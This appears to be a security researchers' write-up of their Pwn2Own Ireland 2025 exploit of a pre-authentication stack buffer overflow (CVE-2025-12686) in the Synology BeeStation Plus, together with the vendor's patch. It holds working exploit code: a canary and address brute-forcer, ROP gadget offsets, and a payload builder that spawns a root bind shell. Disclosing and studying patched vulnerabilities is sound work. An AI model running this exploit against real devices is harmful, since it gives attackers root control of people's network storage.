Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
This article documents our successful exploitation at Pwn2Own Ireland 2025 against the BeeStation Plus. We walk through the full vulnerability research process, including attack surface enumeration, code auditing, exploit development, and ultimately obtaining a root shell on the target.
Looking to improve your skills? Discover our trainings sessions! Learn more.
Context
Last year during Pwn2Own Ireland 2024, Synacktiv successfully targeted the BeeStation BST150-4T, as detailed in our previous blogpost. The BeeStation is a user-friendly NAS device commercialized by Synology since March 2024.
For Pwn2Own Ireland 2025, a new model of the device appeared in the event's target list:Synology BeeStation Plus (BST170-8T), released at the end of May 2025. Naturally, we decided to take a closer look at it.
Firmware and application extractions
The BeeStation firmware is publicly available from Synology. However, it is distributed in encrypted form, which means a bit of preparation is needed before any analysis can begin. Earlier this year, Synacktiv released synodecrypt, a tool capable of decrypting all Synology encrypted archives (SPK, PAT, and others).
Attack surface
Before diving into vulnerability research, we first mapped out the accessible attack surface within the constraints defined by the Pwn2Own Ireland 2025 rules:
An attempt in this category must be launched against the target's exposed network services, RF attack surface, or from the contestant's laptop within the contest network. Vulnerabilities in non-default apps/plugins, netatalk and MiniDLNA are out of scope.
On the BeeStation, we identified a subset of noteworthy services exposed and listening on the network:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:6600 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:6601 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:5001 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7985/nginx: master
[...]
Although additional services are present, identifying that nginx exposes the main web interfaces already provides a strong entry point.
Depending on the requested path, nginx forwards incoming traffic to different backend services. In our case, we focused primarily on the various APIs exposed through the /webapi/entry.cgi endpoint.
The nginx configuration is spread across multiple files, which makes it somewhat cumbersome to analyze. Fortunately, the full active configuration can be dumped using nginx -T.
Inspecting this configuration reveals that requests to /webapi/entry.cgi are forwarded to the Unix socket /run/synoscgi.sock.
http {
upstream synoscgi {
server unix:/run/synoscgi.sock;
}
# [...]
server {
listen 5000 default_server;
listen [::]:5000 default_server;
# [...]
location ~ \.cgi {
include scgi_params;
scgi_pass synoscgi;
scgi_read_timeout 3600s;
}
Using netstat, we can enumerate the processes listening on this specific socket:
root@BeeStation:~# netstat -pax | grep synoscgi.sock
unix 2 [ ACC ] STREAM LISTENING 283367 29751/synoscgi /run/synoscgi.sock
We can apply the same approach to the various sections of the nginx configuration to identify which processes are bound to each socket. The following diagram illustrates the different services exposed through nginx.
A large number of API routes are exposed through entry.cgi. Clients interact with these routes by specifying the API subsystem, the version and the method they want to invoke. These parameters are transmitted via the HTTP POST or GET fields api, version and method.
All API routes are defined in .lib files-JSON descriptors that enumerate the available methods for a given endpoint and specify which shared library is responsible for processing them.
The following snippet, for instance, is extracted from SYNO.API.Auth.lib and documents part of the authentication API:
{
// [...]
"SYNO.API.Auth.Key": { // <- api
"allowUser": [
"admin.local",
"admin.domain",
"admin.ldap",
"normal.local",
"normal.domain",
"normal.ldap"
],
"appPriv": "",
"authLevel": 1,
"disableSocket": false,
"lib": "lib/SYNO.API.Auth.so",
"maxVersion": 7,
"methods": {
"7": [ // <- version
{
"grant": { // <- method
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
},
{
"get": {
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
}
]
},
"minVersion": 7,
"priority": 0,
"priorityAdj": 0,
"socket": "",
"socketConnTimeout": 600
},
// [...]
}
It is also possible to extract the API definitions directly from the underlying libraries. Each of them exports the GetAPITable symbol, a function that returns a pointer to a table containing the following fields:
struct api_table_entry_t {
char *api;
uint64_t version;
char *method;
unsigned __int64 (__fastcall *func)(__int64, __int64);
};
The API definitions expose more than 3,800 distinct routes.
However, most of these routes are clearly not reachable in a pre-authentication attack scenario. By filtering the API definitions according to the authLevel field, we identified a total of 69 routes that can be accessed without authentication.
This significantly reduces the attack surface, making it much faster to iterate over.
Vulnerability - CVE-2025-12686
Among the routes accessible without authentication, the auth method of the SYNO.BEE.AdminCenter.Auth endpoint is vulnerable to a stack-based buffer overflow.
The URL used to reach this endpoint is:
http://target_ip:5000/webapi/entry.cgi?api=SYNO.BEE.AdminCenter.Auth&version=1&method=auth
The code responsible for handling this request resides in /var/packages/bee-AdminCenter/target/webapi/Auth/SYNO.BEE.AdminCenter.Auth.so. This shared library is part of the bee-AdminCenter package, which is installed by default and specific to the Beestation - not present as is on DiskStation)
During request processing, the function SYNO::BEE::AuthHandler::Auth from SYNO.BEE.AdminCenter.Auth.so is invoked.
This function first retrieves the auth_info HTTP parameter into an std::string, then calls SYNO::BEE::Auth::AuthManagerImpl::Auth, which is implemented in libsynobeeadmincenter.so:
// SYNO.BEE.AdminCenter.Auth.so
unsigned __int64 __fastcall SYNO::BEE::AuthHandler::Auth(SYNO::BEE::AuthHandler *this) {
// [...]
SYNO::BEE::BsmManagerBuilder::Build(&bsm_manager);
vtable = bsm_manager->vtable;
auth = vtable->_ZNK4SYNO3BEE14BsmManagerImpl4AuthERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE;
// retrieve the argument auth_info into param_auth_info
basic_string(str_auth_info, "auth_info", "");
SYNO::APIRequest::GetAndCheckString(¶m_auth_info, *this, str_auth_info, 0, 0);
// [...]
// copy param_auth_info into the new std::string auth_info
_auth_info = (cpp_string_t *)SYNO::APIParameter<std::string>::Get(¶m_auth_info);
len = _auth_info->len;
auth_info.buf = (char *)v52;
basic_string(&auth_info, _auth_info->buf, &_auth_info->buf[len]);
SYNO::APIParameter<std::string>::~APIParameter(¶m_auth_info);
// call SYNO::BEE::Auth::AuthManagerImpl::Auth
((void (__fastcall *)(size_t *, BsmManager *, cpp_string_t *))auth)(v57, bsm_manager, &auth_info);
// [...]
}
SYNO::BEE::Auth::AuthManagerImpl::Auth then calls SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo:
// libsynobeeadmincenter.so
__m128i **__fastcall SYNO::BEE::Auth::AuthManagerImpl::Auth(
__m128i **a1,
SYNO::BEE::Auth::AuthManagerBuilder *auth_manager,
_QWORD *auth_info)
{
// [...]
SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(v44, auth_manager, auth_info);
// [...]
}
First, SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo decodes auth_info, using SLIBCBase64Decode, into decoded, a 4096-bytes stack-allocated buffer.
_QWORD *__fastcall SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(
_QWORD *a1,
__int64 auth_manager,
cpp_string_t *auth_info)
{
char decoded[4096]; // [rsp+160h] [rbp-1048h]
// [...]
auth_info_len = auth_info->len;
decoded_len = auth_info_len; // [1]
memset(decoded, 0, 4096);
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
// [...]
}
SLIBCBase64Decode takes a base64-encoded buffer as input and decodes it into another buffer passed as an argument. Here is the function definition:
SLIBCBase64Decode(char *encoded, size_t encoded_len, char *decoded, size_t *decoded_len);
At [1], in SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo, auth_info->len is used as the length of the decoded buffer. However, auth_info->len is attacker-controlled and decoded is a fixed-size buffer of 4096-bytes.
There is a stack-based buffer overflow.
Stack-smashing protection is enabled so a canary is present on the stack. However, the web server forks for each new connection thus the canary is always the same, which allows an attacker to bruteforce and to retrieve its value.
And as the cherry on top, the CGI program executes with root privileges.
Triggering the vulnerability
As a simple proof of concept, we can encode more than 4096 bytes and put them into the auth_info parameter:
def send_request(data, timeout=None):
b64_data = base64.b64encode(data).decode().replace("=", "")
url_template = "http://NAS-IP:5000/webapi/entry.cgi"
url = url_template.replace("NAS-IP", ip_address)
r = requests.post(url, data={
"api": "SYNO.BEE.AdminCenter.Auth",
"version": "1",
"method": "auth",
"auth_info": b64_data
}, timeout=timeout)
return r
pld = b"A"*5000
send_request(pld)
The server answers with a default page and a 502 HTTP code: this will be our oracle for knowing when the process has crashed. It is also possible to check the crash using dmesg on the BeeStation:
[11174.496182] traps: SYNO.BEE.AdminC[29340] general protection fault ip:7fcf024990fa sp:7ffc90fbc2c0 error:0 in libgcc_s.so.1[7fcf0248c000+10000]
The crash occurs inside libgcc_s.so.1, a library responsible for several low-level runtime mechanisms, including exception handling. This suggests that our input is likely triggering an exception during processing. Additional details about this library can be found here.
An examination of SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo shows that three specific conditions must be met to prevent the function from throwing an exception:
// [...]
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
Json::Value::Value(v19, 0);
Json::Reader::Reader(&v22);
v20[0] = v21;
v7 = strlen(decoded);
basic_string(v20, decoded, &decoded[v7]);
v8 = Json::Reader::parse(&v22, v20, v19, 1);
if ( v20[0] != v21 )
operator delete(v20[0], v21[0] + 1LL);
sub_6A0E0(&v22);
if ( !v8 )
{
exception = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to parse authInfo");
// [...]
__cxa_throw(exception, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "state")
|| (v9 = (Json::Value *)Json::Value::operator[](v19, "state"), !Json::Value::isString(v9)) )
{
v3 = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to get [%s] from auth_info");
// [...]
__cxa_throw(v3, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "code")
|| (v10 = (Json::Value *)Json::Value::operator[](v19, "code"), !Json::Value::isString(v10)) )
{
v5 = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to get [%s] from auth_info");
// [...]
__cxa_throw(v5, off_114D98, (void (*)(void *))sub_81700);
}
Therefore, we need a valid JSON string containing both the state and code fields. Fortunately, the input is base64-encoded, which means it can include arbitrary bytes - including null bytes and newline characters. This allows us to append a null byte immediately after the JSON object while still keeping the overall input valid JSON.
Our payload to trigger the vulnerability consists of the JSON object {"code":"","state":""}, followed by a null byte to terminate the string, and then a large sequence of A characters.
For example, the following script overwrites the stack canary:
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
pld += b"\xbe\xba\xfe\xca\xef\xbe\xad\xde"
send_request(pld)
To debug the crash, we can either use the generated core dump located at /volume1/@SYNO.BEE.AdminC.synology_geminilakemango_bst170-8t.65646.core.gz, or attach directly to the synoscgi process, as shown earlier during the attack surface enumeration.
Using ps, we can observe that numerous synoscgi child processes are spawned: one for each incoming request handled by the web server.
root@BeeStation:~# ps faux | grep synoscgi
[...]
root 29751 0.0 0.6 48304 24464 ? S<s Oct27 0:09 synoscgi
system 7324 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7326 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7327 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7333 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 1545 0.0 0.1 48304 6632 ? S 02:54 0:00 \_ synoscgi
system 22967 0.0 0.1 48304 6632 ? S 09:42 0:00 \_ synoscgi
system 23001 0.0 0.1 48304 6632 ? S 09:42 0:00 \_ synoscgi
system 23627 0.0 0.1 48304 6632 ? S 09:55 0:00 \_ synoscgi
system 23839 0.0 0.2 48304 8304 ? S 09:59 0:00 \_ synoscgi
And now using gdb, we can attach to the parent process and rely on the commands set follow-fork-mode child and set detach-on-fork off to debug the child processes as they are created.
At this point, we can finally move on to the exploitation stage.
Exploitation
Prerequisites
For Pwn2Own, we needed to rely on as few environmental constraints as possible. We chose to exploit the vulnerability from a same-LAN position. However, as mentioned earlier, the service might also be exposed externally via QuickConnect, and the exploitation process would likely be very similar in that scenario.
Given both the severity of this vulnerability and the behavior of the CGI-fork mechanism, we need to:
- Get the IP address of the
BeeStation(or itsquickconnectequivalent) - Leak the stack canary
- Leak the stack address
- Leak the base address of
libsynobeeadmincenter(used to make the ROP chain)
From there, we can pivot to executing a series of ROP gadgets in order to run an arbitrary command.
Leaking key components
Thanks to the fork-server mechanism, we can bruteforce the canary and stack pointers byte by byte, simply by checking whether the process crashes after each attempt. In our exploit, we use the following functions to recover the next pointer on the stack:
def bf_next_byte(pld, timeout=None):
l = list(range(0x100))
for b in tqdm(l):
try:
r = send_request(pld + bytes([b]), timeout=timeout)
except requests.exceptions.ReadTimeout:
continue
if r.status_code == 200:
return bytes([b])
return None
def bf_next_ptr(pld, timeout=None):
ptr = b""
while len(ptr) != 8:
b = bf_next_byte(pld + ptr, timeout)
if b is None:
print("fail")
return None
ptr += b
print(ptr)
return ptr
This approach also allows us to leak the stack canary:
start_time = time.time()
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
if canary is None:
canary = bf_next_ptr(pld)
if canary is None:
exit()
stage1_time = int(time.time() - start_time)
print("[+] Canary leaked")
print("[+] Stage 1 execution time : %d seconds" % stage1_time)
We also need to leak a pointer on the stack to prevent the program from crashing.
# [...]
pld += canary
pld += b"\x00"*8*2
if stack_addr is None:
stack_addr_bytes = bf_next_ptr(pld, timeout=1)
stack_addr = int.from_bytes(stack_addr_bytes, "little")
stage2_time = int(time.time() - stage1_time - start_time)
print("[+] Stack address leaked")
print("[+] Stage 2 execution time : %d seconds" % stage2_time)
We can apply the same technique to leak the return address, which in turn gives us the base address of libsynobeeadmincenter.so. This leak will be used to construct our ROP chain.
# [...]
pld += p64(stack_addr)
pld += b"\x00"*8*4
if lib_addr is None:
lib_leak_bytes = bf_next_ptr(pld, timeout=1)
lib_leak = int.from_bytes(lib_leak_bytes, "little")
lib_addr = lib_leak - 0x0A11CA
if lib_addr & 0xfff:
if debug:
print(f"warning: lib_addr not 100% valid: {hex(lib_addr)}")
lib_addr = (lib_addr >> 12) << 12
stage3_time = int(time.time() - stage2_time - stage1_time - start_time)
print("[+] libsynobeeadmincenter base address leaked")
print("[+] Stage 3 execution time : %d seconds" % stage3_time)
Overwriting and ROPing
All that remains is to chain the appropriate gadgets to achieve code execution.
We opted to use a write-what-where gadget to place the required strings into a controlled buffer (such as /bin/bash and the payload for the bind shell), and then invoke SLIBCExecl. This function is imported by libsynobeeadmincenter.so and essentially behaves like the standard execl call.
def arb_write_ptr(addr, value):
if debug:
print(f"write @ {hex(addr)} <- {value}")
assert len(value) == 8
ret = b""
ret += pop_rdi + p64(addr)
ret += pop_rsi + value
ret += p64(lib_addr + 0x0000000000080c6d) # mov qword ptr [rdi], rsi ; xor eax, eax ; ret
return ret
def arb_write(addr, data):
ret = b""
for i in range(0, len(data), 8):
if debug:
print(hex(addr + i), data[i:i+8])
ret += arb_write_ptr(addr + i, data[i:i+8].ljust(8, b"\x00"))
if debug:
print(ret)
return ret
# [...]
# setup strings
pld += arb_write_ptr(addr_buf, b"/bin/bas")
pld += arb_write_ptr(addr_buf+8, b"h\x00-c\x00".ljust(8, b"\x00"))
# some stack values are overwritten, so just skip them
pld += pop6 + p64(0)*6
pld += pop6 + p64(0)*6
pld += pop5 + p64(0)*5
pld += pop3 + p64(0)*3
pld += pop3 + p64(0)*3
pld += arb_write(addr_buf+0x10, cmd)
# setup args and call SLIBCExecl
pld += pop_rdi + p64(addr_buf)
pld += pop_rsi + p64(249)
pld += pop_rdx + p64(addr_buf+0xa)
pld += pop_rcx + p64(addr_buf+0x10)
pld += pop_r8 + p64(0)
pld += slibc_execl
r = send_request(pld)
At Pwn2Own, each attempt is limited to a maximum duration of ten minutes. Bruteforcing the three pointers is relatively slow, so we leveraged multithreading to accelerate this stage of the exploit. With sixteen threads, it takes under three minutes to obtain a shell.
➜ bee_admin_center git:(master) ✗ python3 exploit.py
[+] Start pwning Synology BeeStation Plus @ localhost
[...]
[+] Canary leaked
[+] Stage 1 execution time : 50 seconds
[...]
[+] Stack address leaked
[+] Stage 2 execution time : 59 seconds
[...]
[+] libsynobeeadmincenter base address leaked
[+] Stage 3 execution time : 44 seconds
[+] Total execution time : 154 seconds
[+] Opening connection to localhost on port 9001: Done
__________ .___ ___. _________ __ __ .__
\______ \__ _ ______ ____ __| _/ \_ |__ ___.__. / _____/__.__. ____ _____ ____ | | ___/ |_|__|__ __
| ___/\ \/ \/ / \_/ __ \ / __ | | __ < | | \_____ < | |/ \\__ \ _/ ___\| |/ /\ __\ \ \/ /
| | \ / | \ ___// /_/ | | \_\ \___ | / \___ | | \/ __ \\ \___| < | | | |\ /
|____| \/\_/|___| /\___ >____ | |___ / ____| /_______ / ____|___| (____ /\___ >__|_ \ |__| |__| \_/
\/ \/ \/ \/\/ \/\/ \/ \/ \/ \/
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),999(synopkgs),170597(bee-AdminCenter)
Pwn2Own experience
The Pwn2Own Ireland 2025 took place in Cork from October 20th to 23rd. The draw happened on the first day, and we were quite fortunate this year: we received the very first slot, and only one other team had registered an entry targeting the device. By contrast, in 2024, five teams competed against it.
Anticipating potential setup issues during the event, we thoroughly stress-tested our exploit beforehand, even though the exploitation process itself was fairly straightforward. Despite that preparation, it ultimately took us three attempts to successfully compromise the device, and we requested a reboot between the second and third attempts.
We were not able to fully determine what went wrong during the failed runs, but we know that the third leak, the base address of the target library, did not behave as expected, even though the first two leaks worked reliably.
Fortunately, everything aligned on the third attempt, and the exploit executed flawlessly.
Surprisingly, Synology did not release any last-minute update for the BeeStation, so we did not need to update our exploit or hunt for an alternative vulnerability.
The Patch
On the 30th October, Synology released a BSM update (i.e. an OS update), version 1.3.2-65648. We can extract the new version and use Meld to hightlight what has been modified. In this update, some AppArmor profiles were created, others have been upgraded. The kernel module flashcache_syno.ko has been modified, and a new version of bee-AdminCenter is included: 1.3-0531 while the previous version was 1.3-0528. In the new version of bee-AdminCenter some libraries have been updated: libsynobeeadmincenter.so, libsynobeerpcdaemon.so and libsynodbus.so.
Looking at libsynobeeadmincenter.so, where our vulnerability is located, we find that a check has been added in SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo before the base64 decoding, which prevents the buffer overflow:
auth_info_len = auth_info->len;
- decoded_len = auth_info_len;
+ decoded_len = 4096;
memset(decoded, 0, 4096);
+ if ( auth_info_len > 0x1000 )
+ {
+ exception = (char *)__cxa_allocate_exception(0x30u);
+ len = auth_info->len;
+ basic_string_cstr(v29, "Failed to parse authInfo: size too large: %zu");
+ basic_string_cstr(v30, "auth/auth_manager.cpp");
+ // [...]
+ __cxa_throw(exception, off_115D98, sub_81930);
+ }
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
The vulnerability has been identified as CVE-2025-12686.
Conclusion
This Pwn2Own entry targeting the BeeStation represented about one month of work. Most of that time was spent analyzing the attack surface and understanding the behavior of the web server. Once the reachable attack surface was clearly defined, identifying the vulnerability and developing the exploit took less than a week.
Timeline
- 11th August 2025: start of the research
- 26th August 2025: BeeStation Plus received
- 5th September 2025: attack surface well established
- 12th September 2025: vulnerability identified
- 13th September 2025: root shell obtained
- 21st October 2025: Pwn2Own 2025 @ Cork, Ireland
- 30th October 2025: Fix published through BSM update
References
- Synology - BeeStation Plus 8TB Product Page
- ZDI - Pwn2Own Ireland 2024: Full Schedule
- ZDI - Pwn2Own Ireland 2024 Winning Entry Announcement
- ZDI - Pwn2Own Ireland 2024 Collision Announcement
- Synology - Launch of the BeeStation Plus
- ZDI - Pwn2Own Ireland 2025: Full Schedule
- ZDI - Pwn2Own Ireland 2025: Day One Results
- Midnight Blue - Pwn2Own Ireland 2024 Entries (Slides)
- Synology security advisory - CVE-2025-12686